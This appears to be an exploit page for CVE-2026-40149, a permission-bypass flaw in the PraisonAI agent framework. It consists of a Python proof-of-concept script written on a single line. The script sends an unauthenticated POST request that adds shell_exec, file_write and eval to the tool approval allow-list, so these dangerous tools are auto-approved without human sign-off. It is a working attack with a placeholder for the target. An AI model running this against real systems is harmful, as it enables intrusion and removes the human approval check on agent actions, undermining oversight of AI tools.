CVE-2026-40149 PraisonAI权限绕过漏洞

import requests def exploit(target_url): # The endpoint to modify the allow-list endpoint = f"{target_url}/api/approval/allow-list" # Dangerous tools to add to the allow-list to bypass human approval malicious_payload = { "tools": ["shell_exec", "file_write", "eval"] } try: # Send unauthenticated POST request to modify the allowlist response = requests.post(endpoint, json=malicious_payload, timeout=10) if response.status_code == 200: print("[+] Success: Tool approval allow-list modified.") print("[+] Dangerous tools are now auto-approved.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual target exploit(target)